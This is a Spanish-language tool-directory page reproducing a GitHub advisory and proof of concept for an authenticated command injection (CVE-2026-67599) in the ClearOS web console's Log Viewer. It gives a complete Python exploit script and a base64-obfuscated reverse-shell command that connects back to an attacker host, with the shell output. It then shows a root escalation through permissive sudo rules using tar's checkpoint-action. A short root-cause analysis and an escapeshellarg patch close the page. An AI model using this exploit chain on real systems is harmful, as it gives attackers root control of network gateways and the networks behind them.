Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-67599_ClearOS_RCE — Authenticated Blind OS Command Injection in ClearOS | Kitploit
Herramientas/GitHubGitHub/lazytitan33/cve-2026-67599_clearos_rce
Privilege EscalationExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed Teaming
GitHublazytitan33/cve-2026-67599_clearos_rce

CVE-2026-67599_ClearOS_RCE

Authenticated Blind OS Command Injection in ClearOS

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 20 díasAún no revisado

Inyección de comandos del sistema operativo en el parámetro Filter del Log Viewer

Paquete: ClearFoundation Versiones probadas: ClearOS 7.9.1.342252
Tipo de vulnerabilidad: Inyección de comandos del sistema operativo (CWE-78)
Gravedad: Alta
CVE: CVE-2026-67599
Vector CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (Puntuación: 7.2)

Gracias a VulnCheck por la ayuda para asignar y hacer seguimiento de este CVE-2026-67599 en mi nombre.

Descripción del producto


ClearOS es un sistema operativo basado en CentOS/RHEL diseñado para funcionar como pasarela de red, plataforma de Gestión Unificada de Amenazas (UTM) y servidor perimetral para organizaciones pequeñas y medianas. Opera principalmente como dispositivo perimetral, gestionando reglas de firewall, conexiones VPN, enrutamiento e infraestructura de red central.

Debido a que ClearOS se despliega en el perímetro de la red, interfaces administrativas como Webconfig (puerto 81) suelen estar expuestas a segmentos de gestión o directamente a redes externas. Una vulnerabilidad de ejecución de comandos en esta interfaz permite a un atacante comprometer la puerta de enlace, obtener un punto de apoyo persistente en el perímetro y pivotar directamente hacia segmentos de red internos.


Archivos afectados

/usr/clearos/apps/base/libraries/File.php — líneas 297, 314


Causa raíz

El parámetro filter enviado al endpoint de Log Viewer se pasa sin sanitizar a un comando de shell construido en File.php. El valor $regex se interpola directamente en la cadena de comando en lugar de pasarse como un argumento correctamente escapado, lo que permite que cargas útiles de sustitución de comandos como $(...) o expresiones con backticks se ejecuten como el usuario webconfig.


PoC

Me topé con esto durante una evaluación activa. Aquí hay un generador de artefactos simple.

root@kitploit:~
#!/usr/bin/python3

import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")

args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)

Ejemplo de reverse shell (atacante en .1, objetivo en .129):

root@kitploit:~
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"

Salida confirmada:

root@kitploit:~
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)

La escalada de privilegios a root se realiza fácilmente mediante las reglas de sudoers predeterminadas, muy permisivas:

root@kitploit:~
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy

User webconfig may run the following commands on server:
    (root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
        /usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
        /usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
        /usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
        /usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
        /usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
        /bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
        /usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
        /usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
        /usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
        /usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
        /usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
        /bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
        /usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
        /sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname

En el siguiente ejemplo, usando el binario tar para escalar a root:

root@kitploit:~
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)

Impacto

Un usuario autenticado de la interfaz web con acceso a Reports resulta en ejecución completa de comandos a nivel de sistema operativo como el usuario webconfig. En una instalación predeterminada de ClearOS 7.9, a webconfig se le otorgan amplios privilegios sudo NOPASSWD, lo que permite una escalada inmediata a root sin credenciales adicionales. Un atacante puede lograr acceso root persistente al host subyacente, incluidos todos los datos, servicios y configuraciones de red gestionados por el sistema.


Remediación sugerida

ClearOS está al final de su vida útil. La última distribución aún descargable desde clearos.com (versión ClearOS-7.9.1.342252) data del 13 de octubre de 2021 y no recibe ningún mantenimiento ni actualizaciones de seguridad de upstream.

Debido a esto, la corrección de código a continuación es estrictamente un parche temporal. Ejecutar un sistema operativo sin mantenimiento en el perímetro de tu red es jugar con fuego. El camino firmemente recomendado es migrar completamente fuera de ClearOS hacia un dispositivo perimetral o plataforma UTM con soporte.

Mitigación temporal (parche PHP)

Si debes mantener este host con vida mientras planificas una migración, envuelve $regex en escapeshellarg() en las líneas 297 y 314 de /usr/clearos/apps/base/libraries/File.php para cambiar de:

root@kitploit:~
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,

A:

root@kitploit:~
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,

Luego reinicia el servicio webconfig:

root@kitploit:~
sudo systemctl restart webconfig
Descargar herramienta